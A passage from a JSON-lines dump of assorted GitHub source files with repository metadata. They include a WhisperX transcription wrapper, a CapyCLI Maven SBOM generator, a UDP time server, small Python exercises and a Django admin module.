end=end)\n .output(\"-\", format=\"s16le\", acodec=\"pcm_s16le\", ac=1, ar=sr)\n .run(\n cmd=[\"ffmpeg\", \"-nostdin\"],\n capture_stdout=True,\n capture_stderr=True,\n )\n )\n end_time = time.time()\n except ffmpeg.Error as e:\n raise RuntimeError(f\"Failed to load audio: {e.stderr.decode()}\") from e\n\n return np.frombuffer(out, np.int16).flatten().astype(np.float32) / 32768.0\n\n def __predict__(\n self, audio: sieve.Audio,\n word_level_timestamps: bool = True,\n speaker_diarization: bool = False,\n speed_boost: bool = False,\n initial_prompt: str = \"\",\n prefix: str = \"\",\n language: str = \"\",\n diarize_min_speakers: int = -1,\n diarize_max_speakers: int = -1,\n batch_size: int = 32,\n ) -> List:\n \"\"\"\n :param audio: an audio file\n :param word_level_timestamps: whether to return word-level timestamps\n :param speaker_diarization: whether to perform speaker diarization\n :param speed_boost: whether to use the smaller, faster model\n :param initial_prompt: A prompt to correct misspellings and style.\n :param prefix: A prefix to bias the transcript towards.\n :param language: Language code of the audio (defaults to English), faster inference if the language is known.\n :param diarize_min_speakers: Minimum number of speakers to detect. If set to -1, the number of speakers is automatically detected.\n :param diarize_max_speakers: Maximum number of speakers to detect. If set to -1, the number of speakers is automatically detected.\n :param batch_size: Batch size for inference. Defaults to 32.\n :return: a list of segments, each with a start time, end time, and text\n \"\"\"\n # TODO: implement start and end time as arguments\n import time\n overall_time = time.time()\n import faster_whisper\n\n new_asr_options = self.model.options._asdict()\n new_asr_options[\"initial_prompt\"] = initial_prompt\n new_asr_options[\"prefix\"] = prefix\n new_options = faster_whisper.transcribe.TranscriptionOptions(**new_asr_options)\n self.model.options = new_options\n\n if self.first_time:\n print(\"first_time_setup: \", self.setup_time)\n self.first_time = False\n import numpy as np\n from whisperx.audio import load_audio\n process_time = time.time()\n\n start_time = 0\n if hasattr(audio, \"start_time\") and hasattr(audio, \"end_time\"):\n import time\n\n t = time.time()\n start_time = audio.start_time\n end_time = audio.end_time\n audio_np = self.load_audio(audio.path, start=start_time, end=end_time)\n else:\n t = time.time()\n audio_np = load_audio(audio.path).astype(np.float32)\n if audio_np.shape[0] < 32000 * 30:\n audio_np = np.pad(\n audio_np, (0, 32000 * 30 - audio_np.shape[0]), \"constant\"\n )\n \n if speed_boost:\n result = self.model_medium.transcribe(audio_np, batch_size=batch_size, language=language)\n else:\n result = self.model.transcribe(audio_np, batch_size=batch_size, language=language)\n print(\"transcribe_time: \", time.time() - t)\n process_time = time.time()\n import whisperx\n\n if word_level_timestamps:\n result_aligned = whisperx.align(\n result[\"segments\"], self.model_a, self.metadata, audio_np, \"cuda\"\n )\n\n print(\"align_time: \", time.time() - process_time)\n else:\n result_aligned = result\n process_time = time.time()\n\n import torch\n from whisperx.audio import SAMPLE_RATE\n import pandas as pd\n\n if speaker_diarization:\n min_speakers = diarize_min_speakers if diarize_min_speakers != -1 else None\n max_speakers = diarize_max_speakers if diarize_max_speakers != -1 else None\n audio_data = {\n 'waveform': torch.from_numpy(audio_np[None, :]),\n 'sample_rate': SAMPLE_RATE\n }\n diarize_segments = self.diarize_model(audio_data, min_speakers=min_speakers, max_speakers=max_speakers)\n diarize_df = pd.DataFrame(diarize_segments.itertracks(yield_label=True), columns=['segment', 'label', 'speaker'])\n diarize_df['start'] = diarize_df['segment'].apply(lambda x: x.start)\n diarize_df['end'] = diarize_df['segment'].apply(lambda x: x.end)\n result_aligned = whisperx.assign_word_speakers(diarize_df, result_aligned)\n print(\"diarize_time: \", time.time() - process_time)\n\n out_segments = []\n full_text = \"\"\n for segment in result_aligned[\"segments\"]:\n new_segment = {}\n new_segment[\"start\"] = segment[\"start\"] + start_time\n new_segment[\"end\"] = segment[\"end\"] + start_time\n new_segment[\"text\"] = segment[\"text\"]\n if \"speaker\" in segment:\n new_segment[\"speaker\"] = segment[\"speaker\"]\n \n full_text += segment[\"text\"] + \" \"\n if word_level_timestamps:\n new_segment[\"words\"] = []\n for word in segment[\"words\"]:\n new_word = {}\n if \"speaker\" in word:\n new_word[\"speaker\"] = word[\"speaker\"]\n if \"start\" in word:\n new_word[\"start\"] = word[\"start\"] + start_time\n if \"end\" in word:\n new_word[\"end\"] = word[\"end\"] + start_time\n if \"score\" in word:\n new_word[\"score\"] = word[\"score\"]\n new_word[\"word\"] = word[\"word\"]\n new_segment[\"words\"].append(new_word)\n\n out_segments.append(new_segment)\n print(\"overall_time: \", time.time() - overall_time)\n return {\n \"text\": full_text.strip(),\n \"language_code\": result[\"language\"],\n \"segments\": out_segments,\n }\n","repo_name":"sieve-community/examples","sub_path":"audio_transcription/whisperx/whisperx_model.py","file_name":"whisperx_model.py","file_ext":"py","file_size_in_byte":10660,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"69"} +{"seq_id":"9035717219","text":"from django import template\n\nregister = template.Library()\n\n@register.simple_tag(takes_context=True)\ndef stable_get(context, **kwargs):\n get = context['request'].GET.copy()\n for k, v in kwargs.items():\n get[k] = v\n return get.urlencode()\n\n\n@register.simple_tag(takes_context=True)\ndef select_sort_class(context, id):\n sort = context['request'].GET.get('sort')\n\n if sort==id:\n return 'sorted-desc'\n elif sort=='-'+id:\n return 'sorted'\n \n return 'unsorted'","repo_name":"akafliegdarmstadt/bib","sub_path":"biblio/templatetags/stable_get.py","file_name":"stable_get.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74442367581","text":"import sys\nfrom antlr4 import *\nfrom RegexLexer import RegexLexer\nfrom RegexParser import RegexParser\nfrom RegexVisitor import RegexVisitor\nfrom nfa import *\nimport pprint\n\ndef filePrint(nfa: NFA, fileToPrint):\n\n # numar stari\n #print(nfa.numberOfStates)\n print(nfa.numberOfStates, file=fileToPrint)\n\n # starea finala\n for i in nfa.finalStates:\n #print(i)\n print(i, file=fileToPrint)\n\n # tranzitii\n\n lista = list(nfa.tabelTranzitii.items())\n lista.sort()\n #print(lista)\n\n for (stare, simbol), nextState in lista:\n #print(str(stare), simbol, end=\"\")\n print(str(stare), simbol, end=\"\", file=fileToPrint)\n\n #print(\" \", end=\"\")\n print(\" \", end=\"\", file=fileToPrint)\n \n \n for i in nextState:\n #print(i, \" \", end=\"\", sep=\"\")\n print(i, \" \", end=\"\", sep=\"\", file=fileToPrint)\n \n \n #print() \n print(file=fileToPrint) \n\ndef main(argv):\n\n # antlr\n input = FileStream(sys.argv[1])\n nfaFile = open(argv[2], \"w\")\n dfaFile = open(argv[3], \"w\")\n\n lexer = RegexLexer(input)\n stream = CommonTokenStream(lexer)\n parser = RegexParser(stream)\n\n tree = parser.regex() \n visitor = RegexVisitor()\n visitor.visit(tree)\n\n # dupa ce am facut partea de parsare NFA-ul se gaseste in RegexVisitor.stiva\n nfa = RegexVisitor.stivaNFA.pop()\n filePrint(nfa, nfaFile)\n #print(nfa)\n\n (stari, tabel) = NFA2DFA(nfa)\n pp = pprint.PrettyPrinter()\n printOutput(stari, tabel, nfa.finalStates, dfaFile)\n\nif __name__ == \"__main__\":\n main(sys.argv)","repo_name":"BlunderBoy/Regex-to-NFA-to-DFA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74177925020","text":"n = int(input(\"Valor para retornar fatorial: \"))\r\nif n == 0:\r\n print(\"O fatorial de 0 é 1.\")\r\nelif n < 0:\r\n print(\"Números nagetivos não possuem fatorial (extensão da função Gamma desconsiderada)\")\r\nelse:\r\n fatorial = 1\r\n for i in range(n): # contagem de um até o valor descrito\r\n fatorial *= i+1 # fatorial (inicializado) recebe ele mesmo vezes os valores de índice da contagem + 1 (1,2...n)\r\n print(fatorial)\r\n","repo_name":"luc-gh/math","sub_path":"fatorial.py","file_name":"fatorial.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"29966079932","text":"# Speech to Text converter by Mahesh Sawant\r\n\r\nimport pyspeech as sr\r\n\r\nr = sr.Recognizer()\r\n\r\nwith sr.Microphone() as source:\r\n print(\"Speak Anything : \")\r\n audio = r.listen(source)\r\n\r\n try:\r\n text = r.recognize_google(audio)\r\n print(\"You said : {}\".format(text))\r\n except:\r\n print(\"Sorry could not recognize your voice\")","repo_name":"smahesh29/Django-WebApp","sub_path":"django_web_app/media/Files/speech.py","file_name":"speech.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":362,"dataset":"github-code","pt":"69"} +{"seq_id":"42633669144","text":"import pygame\nimport os\n\nclass Projectile():\n\n\tdef __init__(self, x, y, x_vel, y_vel, damage, sprite):\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.x_vel = x_vel\n\t\tself.y_vel = y_vel\n\t\tself.sprite = sprite\n\t\tself.damage = damage\n\n\tdef update(self,delta):\n\t\tself.x += delta * self.x_vel\n\t\tself.y += delta * self.y_vel\n\n\tdef render(self, screen):\n\t\tscreen.blit(self.sprite, (self.x,self.y))","repo_name":"GameBuilders/student-gdc-2014","sub_path":"projectile.py","file_name":"projectile.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"13357465787","text":"import seqdb\nimport template\n\n_DB = seqdb.get()\n\n\ndef get_mnemonic(p, v, is_input):\n '''\n >>> _create_mock_db()\n >>> get_mnemonic(']', '0', False)\n 'OSC 0 / set icon name and window title'\n >>> get_mnemonic(']', '4', False)\n 'OSC 4 / get or set color palette'\n '''\n\n if is_input:\n direction = '<'\n else:\n direction = '>'\n\n key = \"%s ESC %s%s\" % (direction, p, v)\n if key in _DB:\n return _DB[key]\n\n if v[0].isalpha():\n key = \"%s ESC %s%s\" % (direction, p, v[0])\n if key in _DB:\n return _DB[key]\n else:\n\n params = v.split(\";\")\n length = len(params)\n\n if length > 3:\n key = \"%s ESC %s%s;%s;%s;%s\" % (direction, p,\n params[0],\n params[1],\n params[2],\n params[3])\n if key in _DB:\n return _DB[key]\n if length > 2:\n key = \"%s ESC %s%s;%s;%s\" % (direction, p,\n params[0],\n params[1],\n params[2])\n if key in _DB:\n return _DB[key]\n if length > 1:\n key = \"%s ESC %s%s;%s\" % (direction, p,\n params[0],\n params[1])\n if key in _DB:\n return _DB[key]\n if length > 0:\n key = \"%s ESC %s%s\" % (direction, p, params[0])\n if key in _DB:\n return _DB[key]\n\n import re\n pattern = \"^([\\x30-\\x3f]*)([\\x20-\\x30]*[\\x40-\\x7e])([0-9A-Fa-f]*)\"\n pbytes, ifbytes, vbytes = re.search(pattern, v).groups()\n if ifbytes:\n if vbytes:\n key = \"%s ESC %s%s%s%s\" % (direction, p, pbytes, ifbytes, vbytes)\n if key in _DB:\n return _DB[key]\n\n if pbytes:\n key = \"%s ESC %s%s%s\" % (direction, p, pbytes, ifbytes)\n if key in _DB:\n return _DB[key]\n\n key = \"%s ESC %s%s\" % (direction, p, ifbytes)\n if key in _DB:\n return _DB[key]\n\n key = \"%s ESC %s\" % (direction, p)\n if key in _DB:\n return _DB[key]\n\n return '[ESC ' + p + ']'\n\n\ndef format_seq(prefix, value, is_input, tracer, controller):\n \"\"\"\n >>> _create_mock_db()\n >>> template.enable_color()\n >>> format_seq(ord(\"]\"), map(ord, \"abcde\"), False, None, None).replace(\"\\x1b\", \"\\\\x1b\")\n u'\\\\x1b[0;1;37;44m ESC ] \\\\x1b[0;1;35mabcde \\\\x1b[37;44mST\\\\x1b[0;1;36m OSC / operating system command\\\\x1b[m'\n\n >>> format_seq(ord(\"Q\"), map(ord, \"cdefg\"), False, None, None)\n u'\\\\x1b[0;1;37;44m ESC Q \\\\x1b[0;1;35mcdefg \\\\x1b[37;44mST\\\\x1b[0;1;36m [ESC Q]\\\\x1b[m'\n \"\"\"\n\n try:\n v = u''.join(map(unichr, value))\n except OverflowError:\n v = str(value)\n p = chr(prefix)\n\n mnemonic = get_mnemonic(p, v, is_input)\n if mnemonic[0] == \"!\":\n return eval(mnemonic[1:])\n return template.getcstr() % (p, v, mnemonic)\n\n\ndef _create_mock_db():\n global _DB\n _DB = {\n '> ESC ]': 'OSC / operating system command',\n '> ESC ]0': 'OSC 0 / set icon name and window title',\n '> ESC ]1': 'OSC 1 / set icon name',\n '> ESC ]2': 'OSC 2 / set window title',\n '> ESC ]4': 'OSC 4 / get or set color palette',\n '> ESC ]9': 'OSC 9 / Growl integration (iTerm2)',\n }\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","repo_name":"saitoha/trachet","sub_path":"trachet/cstr.py","file_name":"cstr.py","file_ext":"py","file_size_in_byte":3771,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"69"} +{"seq_id":"23746791856","text":"# https://leetcode.com/problems/array-partition-i/\n#\n# algorithms\n# Medium (70.00%)\n# Total Accepted: 164,554\n# Total Submissions: 235,101\n\n\nclass Solution(object):\n def arrayPairSum(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n length = len(nums)\n nums.sort()\n\n res = 0\n for i in xrange(0, length, 2):\n res += nums[i]\n\n return res\n","repo_name":"mickey0524/leetcode","sub_path":"561.Array-Partition-I.py","file_name":"561.Array-Partition-I.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"69"} +{"seq_id":"3211119280","text":"import os\nimport re\nimport subprocess\nimport sys\nimport xml.etree.ElementTree as ET\nfrom typing import List, Tuple\n\nimport requests\nfrom cyclonedx.model import ExternalReference, ExternalReferenceType, Property\nfrom cyclonedx.model.bom import Bom\nfrom cyclonedx.model.component import Component\nfrom packageurl import PackageURL\n\nimport capycli.common.dependencies_base\nimport capycli.common.json_support\nfrom capycli.common.capycli_bom_support import CaPyCliBom, CycloneDxSupport, SbomCreator, SbomWriter\nfrom capycli.common.print import print_red, print_text, print_yellow\nfrom capycli.main.result_codes import ResultCode\n\nLOG = capycli.get_logger(__name__)\n\n\nclass GetJavaMavenTreeDependencies(capycli.common.dependencies_base.DependenciesBase):\n SOURCES_REGEX = r'.*Downloading.+(https://?[-a-zA-Z0-9@:%._+~#=/]{1,256}-(source|sources).jar).*'\n BINARIES_REGEX = r'.*Downloaded.+(https://?[-a-zA-Z0-9@:%._+~#=/]{1,256}.jar).*'\n\n def add_urls(\n self, cx_comp: Component,\n parsed_sources: List, parsed_binaries: List,\n source_files: List[str], binary_files: List[str], files_directory: str):\n \"\"\"\n Adds URLs to corresponding bom item. This is done by checking if a dependency\n with the corresponding naming exists inside the list of parsed URLs and also\n inside the download folder\n\n :param bomitem: a single bom item\n :param parsed_sources: a list of sources URLs\n :param parsed_binaries: a list of binaries URLs\n :param source_files: a list of source files from the sources download folder\n :param binary_files: a list of binary files from the binaries download folder\n \"\"\"\n src_url = None\n for source in parsed_sources:\n if cx_comp.name + \"-\" + cx_comp.version + \"-source.jar\" in source \\\n or cx_comp.name + \"-\" + cx_comp.version + \"-sources.jar\" in source:\n src_url = source\n for source_file in source_files:\n if cx_comp.name + \"-\" + cx_comp.version in source_file:\n src_url = source\n break\n else:\n continue\n break\n\n if src_url:\n ext_ref = ExternalReference(\n reference_type=ExternalReferenceType.DISTRIBUTION,\n comment=CaPyCliBom.SOURCE_URL_COMMENT,\n url=src_url)\n cx_comp.external_references.add(ext_ref)\n\n bin_url = None\n for binary in parsed_binaries:\n if cx_comp.name + \"-\" + cx_comp.version + \".jar\" in binary:\n bin_url = binary\n for binary_file in binary_files:\n if cx_comp.name + \"-\" + cx_comp.version in binary_file:\n bin_url = os.path.join(files_directory, binary_file)\n break\n else:\n continue\n break\n\n if bin_url:\n ext_ref = ExternalReference(\n reference_type=ExternalReferenceType.DISTRIBUTION,\n comment=CaPyCliBom.BINARY_URL_COMMENT,\n url=bin_url)\n cx_comp.external_references.add(ext_ref)\n\n def extract_urls(self, download_output_file: str, regex: str) -> list:\n \"\"\"\n Parses the output of mvn command using provided regex\n :param download_output_file: the mvn command output to be parsed\n :param regex: the regex string that will be used for parsing\n \"\"\"\n parsed_urls = []\n\n lines = open(download_output_file).read().split(\"\\n\")\n for line in lines:\n parts = re.findall(regex, line)\n if parts and len(parts) > 0:\n url = parts[0]\n if isinstance(url, Tuple):\n url = url[0]\n if url not in parsed_urls:\n parsed_urls.append(url)\n\n return parsed_urls\n\n def find_package_info(self, binary_file_url):\n \"\"\"\n Downloads a pom file and returns the parsed content\n :param binary_file_url: a binary file url\n \"\"\"\n url = re.sub(r\"\\.jar$\", \".pom\", binary_file_url)\n\n try:\n response = requests.get(\n url, headers={\"Accept\": \"text/xml\"}\n )\n if response.ok:\n res = ET.fromstring(response.content)\n\n return res\n except Exception as ex:\n print_red(\" Error retrieving component meta data: \" + repr(ex))\n\n return None\n\n def try_find_metadata(self, cx_comp: Component):\n \"\"\"\n Extract information from pom file and add it to bom\n :param bomitem: item of a bom which represents a single package\n \"\"\"\n bin_file_url = CycloneDxSupport.get_ext_ref_binary_url(cx_comp)\n if bin_file_url:\n info = self.find_package_info(bin_file_url)\n if not info:\n print_yellow(\n \" No info found for component \" +\n cx_comp.name +\n \", \" +\n cx_comp.version)\n return\n\n namespaces = {\"pom\": \"http://maven.apache.org/POM/4.0.0\"}\n project_url = info.find(\"./pom:url\", namespaces)\n if project_url is not None:\n CycloneDxSupport.update_or_set_ext_ref(\n cx_comp, ExternalReferenceType.WEBSITE, \"\", project_url.text)\n scm_url = info.find(\"./pom:scm/pom:url\", namespaces)\n if scm_url is not None:\n url = scm_url.text\n CycloneDxSupport.update_or_set_ext_ref(\n cx_comp, ExternalReferenceType.VCS, \"\", url)\n if \"github.com\" in url:\n if not str(url).startswith(\"http\"):\n url = \"https://\" + url\n # bomitem[\"SourceUrl\"] = url\n src_file_url = self.find_source_file(url, cx_comp.name, cx_comp.version)\n CycloneDxSupport.update_or_set_ext_ref(\n cx_comp, ExternalReferenceType.DISTRIBUTION,\n CaPyCliBom.SOURCE_URL_COMMENT, src_file_url)\n\n print(src_file_url)\n description = info.find(\"./pom:description\", namespaces)\n if description is not None:\n cx_comp.description = description.text\n\n \"\"\"\n Determine Java components/dependencies for a given project.\n\n Run the Maven Dependency List command, extract the dependencies\n and create a bill of material JSON file.\n \"\"\"\n def create_full_dependency_list_from_maven_command(self) -> Bom:\n \"\"\"\n Create a full list of dependencies - including transitive\n dependencies of the current project using the\n Maven Dependency Lis command:\n mvn dependency:list\n\n :return a list of the local Python packages\n :rtype list of package item dictionaries, as returned by pip\n \"\"\"\n args = [\"mvn dependency:list -B\"]\n proc = subprocess.Popen(\n args,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True)\n raw_bin_data = proc.stdout.read()\n raw_data = raw_bin_data.decode(\"utf-8\")\n\n sbom = SbomCreator.create(None, addlicense=True, addprofile=True, addtools=True)\n lines = raw_data.split(\"\\n\")\n p = re.compile(r\"\\[INFO\\]\\s*(\\S*):compile(?!:)\\s*\", re.IGNORECASE | re.MULTILINE)\n for line in lines:\n x = p.split(line)\n if len(x) == 3:\n bomitem = self.create_bom_item(x)\n if not sbom.components.__contains__(bomitem):\n sbom.components.add(bomitem)\n\n return sbom\n\n def create_full_dependency_list_from_maven_list_file(self, maven_list_file: str, raw_file: str, source: str) -> Bom:\n \"\"\"\n Create a full list of dependencies - including transitive\n dependencies of the current project using the\n export of Maven Dependency Lis command:\n mvn dependency:list\n\n :return a list of the local Python packages\n :rtype list of package item dictionaries, as retuned by pip\n \"\"\"\n if raw_file:\n parsed_sources = self.extract_urls(raw_file, self.SOURCES_REGEX)\n parsed_binaries = self.extract_urls(raw_file, self.BINARIES_REGEX)\n\n if not parsed_sources or len(parsed_sources) == 0:\n print_text(\"Parsed sources URL list has no items\")\n\n if not parsed_binaries or len(parsed_binaries) == 0:\n print_text(\"Parsed binaries URL list has no items\")\n\n if source:\n source_files = os.listdir(os.path.join(os.getcwd(), source))\n binary_files = os.listdir(os.path.join(os.getcwd(), source))\n else:\n source_files = []\n binary_files = []\n\n with open(maven_list_file) as file:\n lines = file.readlines()\n lines = [line.rstrip() for line in lines]\n\n sbom = SbomCreator.create(None, addlicense=True, addprofile=True, addtools=True)\n list_p = [\n re.compile(r\"\\s*(\\S*):compile(?!:)\\s*\", re.IGNORECASE | re.MULTILINE),\n re.compile(r\"\\s*(\\S*):runtime(?!:)\\s*\", re.IGNORECASE | re.MULTILINE),\n re.compile(r\"\\s*(\\S*):test(?!:)\\s*\", re.IGNORECASE | re.MULTILINE),\n re.compile(r\"\\s*(\\S*):provided(?!:)\\s*\", re.IGNORECASE | re.MULTILINE),\n re.compile(r\"\\s*(\\S*):system(?!:)\\s*\", re.IGNORECASE | re.MULTILINE)\n ]\n for line in lines:\n for p in list_p:\n x = p.split(line)\n if len(x) == 3:\n bomitem = self.create_bom_item(x)\n if raw_file:\n self.add_urls(bomitem,\n parsed_sources,\n parsed_binaries,\n source_files,\n binary_files,\n source)\n\n self.try_find_metadata(bomitem)\n\n if not sbom.components.__contains__(bomitem):\n sbom.components.add(bomitem)\n\n return sbom\n\n def create_bom_item(self, x) -> Component:\n \"\"\"\n Create a CycloneDX BOM item.\n \"\"\"\n dependency = x[1]\n # print(\"dependency\", dependency)\n parts = dependency.split(\":\")\n # 0 = groupId\n # 1 = artifactId\n # 2 = jar\n # 3 = version\n if len(parts) < 4:\n parts = parts\n\n purl = PackageURL(\"maven\", parts[0], parts[1], parts[3], \"\", \"\").to_string()\n cx_comp = Component(\n name=parts[1],\n version=parts[3],\n purl=purl,\n bom_ref=purl\n )\n\n prop = Property(\n name=CycloneDxSupport.CDX_PROP_LANGUAGE,\n value=\"Java\")\n cx_comp.properties.add(prop)\n\n return cx_comp\n\n def run(self, args):\n \"\"\"Main method()\"\"\"\n if args.debug:\n global LOG\n LOG = capycli.get_logger(__name__)\n\n print_text(\n \"\\n\" + capycli.APP_NAME + \", \" + capycli.get_app_version() +\n \" - Determine Java components/dependencies\\n\")\n\n if args.help:\n print(\"Usage:\")\n print(\" CaPyCli getdependencies mavenlist -o [-source SOURCE] [-ri RAW_INPUT]\")\n print(\"\")\n print(\"Options:\")\n print(\" -source SOURCE source folder or additional source file\")\n print(\" -i INPUT input file - the output of 'mvn dependency:list' commands\")\n print(\" -ri RAW_INPUT raw data input file to parse repository urls\")\n print(\" -o OUTPUTFILE bom file to write to\")\n return\n\n if not args.outputfile:\n print_red(\"No output SBOM file specified!\")\n sys.exit(ResultCode.RESULT_COMMAND_ERROR)\n\n if not args.inputfile:\n print(\"Running mvn dependency:list command...\")\n sbom = self.create_full_dependency_list_from_maven_command()\n else:\n if not os.path.isfile(args.inputfile):\n print_red(\"Input file not found!\")\n sys.exit(ResultCode.RESULT_FILE_NOT_FOUND)\n\n print(\"Read mvn dependency list file...\")\n sbom = self.create_full_dependency_list_from_maven_list_file(args.inputfile, args.raw_input, args.source)\n\n print_text(\"Writing new SBOM to \" + args.outputfile)\n SbomWriter.write_to_json(sbom, args.outputfile, True)\n print_text(\" \" + self.get_comp_count_text(sbom) + \" items written to file.\")\n\n print()\n","repo_name":"sw360/capycli","sub_path":"capycli/dependencies/maven_list.py","file_name":"maven_list.py","file_ext":"py","file_size_in_byte":12809,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"69"} +{"seq_id":"7448523019","text":"import socket\nimport sys\nfrom datetime import datetime\n\ndef getTime():\n now = datetime.now()\n return now.strftime(\"%H:%M:%S\")\n\ndef getDate():\n now = datetime.now()\n return now.strftime(\"%d-%m-%Y\")\n\nlocalIP = \"127.0.0.1\"\nlocalPort = 20001\nbufferSize = 1024\n\nmsgFromServer = \"Hello UDP Client\"\nbytesToSend = str.encode(msgFromServer)\n\nserver_socket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)\nserver_socket.bind((localIP, localPort))\n\nprint(\"UDP server up and listening\")\n\ntry:\n while(True):\n message, address = server_socket.recvfrom(bufferSize)\n message = message.decode('utf8')\n \n if( message == \"SEND_TIME\"):\n server_response = getTime()\n elif( message == \"SEND_DATE\"):\n server_response = getDate()\n else:\n server_response = \"Error in request format\"\n server_response = server_response.encode()\n server_socket.sendto(server_response, address)\nexcept KeyboardInterrupt as msg:\n server_socket.close()\n print(\"server socket closed successfully\")\n sys.exit(0)","repo_name":"Eunoia1729/socket-programming-python","sub_path":"q3/UDP_Server.py","file_name":"UDP_Server.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"20837406215","text":"from envparse import env\n\nimport tornado\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.web\n\nfrom tbtbot.lib import Updater\n\nimport configuration\nimport routes\n\n\n\ndef make_app():\n return tornado.web.Application(\n routes.get_routes(),\n debug=True,\n autoreload=True\n )\n\n\ndef start_bot():\n\n def callback():\n updater = Updater(\n configuration.API, \n 'http://localhost:%s' % configuration.SERVER_PORT\n )\n updater.getUpdates(5)\n\n pcb = tornado.ioloop.PeriodicCallback(callback, configuration.POLL_INTERVAL)\n pcb.start()\n\n http_server = tornado.httpserver.HTTPServer(make_app())\n http_server.listen(configuration.SERVER_PORT, configuration.SERVER_HOST)\n tornado.ioloop.IOLoop.current().start()\n\n\ndef stop_bot():\n tornado.ioloop.IOLoop.current().stop()\n return True\n\n\nif __name__ == \"__main__\":\n\n start_bot()","repo_name":"isehrob/tbtbot","sub_path":"tbtbot/apptemplate/app_with_updates.py","file_name":"app_with_updates.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"38839789987","text":"line_index = 0\nprops = {}\n\ndef is_command (line) :\n if not line.startswith('/') and len(line) > 1 :\n return True\n return False\n\ndef set_current (line) :\n global props\n inst = line.split(' ')\n if len(inst) == 1 :\n props['C_TYPE'] = 'C_ARITHMETIC'\n props['ARG1'] = inst[0].strip()\n else :\n props['ARG1'] = inst[1].strip()\n props['ARG2'] = inst[2].strip()\n if inst[0] == 'push' :\n props['C_TYPE'] = 'C_PUSH'\n else :\n props['C_TYPE'] = 'C_POP'\n\n#######################################\n# Only the methods below are exported #\n#######################################\n\ndef advance (script) :\n global line_index\n line = script[line_index]\n line_index += 1\n if is_command(line) :\n set_current(line)\n return False\n if line_index < len(script) :\n advance(script)\n return False\n return True\n\ndef command_type () :\n global props\n return props['C_TYPE']\n\ndef arg1 () :\n global props\n return props['ARG1']\n\ndef arg2 () :\n global props\n return props['ARG2']\n\n\n","repo_name":"dhruvbatra2002/nand2tetris","sub_path":"07/VMtoHack/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33379353729","text":"from django.contrib import admin\n\n# Register your models here.\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.contrib.auth.models import Group\nfrom django.contrib.auth.tokens import default_token_generator\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template import loader\nfrom django.utils.encoding import force_bytes\nfrom django.utils.http import urlsafe_base64_encode\nfrom django.utils.translation import ugettext_lazy\n\nfrom .forms import UserSampleChangeForm, UserSampleCreationForm\n\nfrom sample_admin_app.models import UserSample\n\n\nclass UserSampleAdmin(UserAdmin):\n # The forms to add and change user instances\n form = UserSampleChangeForm\n add_form = UserSampleCreationForm\n\n # The fields to be used in displaying the User model.\n # These override the definitions on the base UserAdmin\n # that reference specific fields on auth.User.\n list_display = ('email', 'is_active', 'is_staff', 'is_superuser')\n list_filter = ('is_staff',)\n fieldsets = (\n (None, {'fields': ('email',)}),\n ('Relations', {'fields': ('countries',)}),\n ('Personal info', {'fields': ('first_name', 'last_name')}),\n ('Permissions', {'fields': ('is_active', 'is_staff',)}),\n # ('Important dates', {'fields': ('last_login', 'date_joined')})\n )\n # add_fieldsets is not a standard ModelAdmin attribute. UserAdmin\n # overrides get_fieldsets to use this attribute when creating a user.\n add_fieldsets = (\n (None, {\n 'classes': ('wide',),\n 'fields': ('email', 'countries'),\n }),\n )\n search_fields = ('email',)\n ordering = ('email',)\n\n def response_add(self, request, obj, post_url_continue=None):\n \"\"\"\n Subclaseo para enviar mail de reset password al crear un nuevo usuario\n\n Args:\n request:\n obj:\n post_url_continue:\n\n Returns:\n\n \"\"\"\n send_mail_reset_password_for_user(obj, request)\n\n return super(UserSampleAdmin, self).response_add(request, obj, post_url_continue)\n\n\nadmin.site.site_title = ugettext_lazy('Sample Admin')\nadmin.site.site_header = ugettext_lazy('Admin Sample')\nadmin.site.index_title = ugettext_lazy('Admin')\n\nadmin.site.register(UserSample, UserSampleAdmin)\n# Se quita la gestion de GRUPOS por no ser necesaria\nadmin.site.unregister(Group)\n\n\ndef send_mail_reset_password_for_user(user, request,\n subject_template_name='new_user_email_subject.txt',\n email_template_name='new_user_email.html',\n from_email=None, use_https=False, **extra_email_context):\n \"\"\"\n Envia mail reset_password para usuario creado\n\n Args:\n user:\n subject_template_name:\n email_template_name:\n from_email:\n request:\n use_https:\n **extra_email_context:\n\n Returns:\n\n \"\"\"\n email_field_name = user.get_email_field_name()\n email = getattr(user, email_field_name)\n current_site = get_current_site(request)\n site_name = current_site.name\n domain = current_site.domain\n context = {\n 'email': email,\n 'domain': domain,\n 'site_name': site_name,\n 'uid': urlsafe_base64_encode(force_bytes(user.pk)),\n 'user': user,\n 'token': default_token_generator.make_token(user),\n 'protocol': 'https' if use_https else 'http',\n 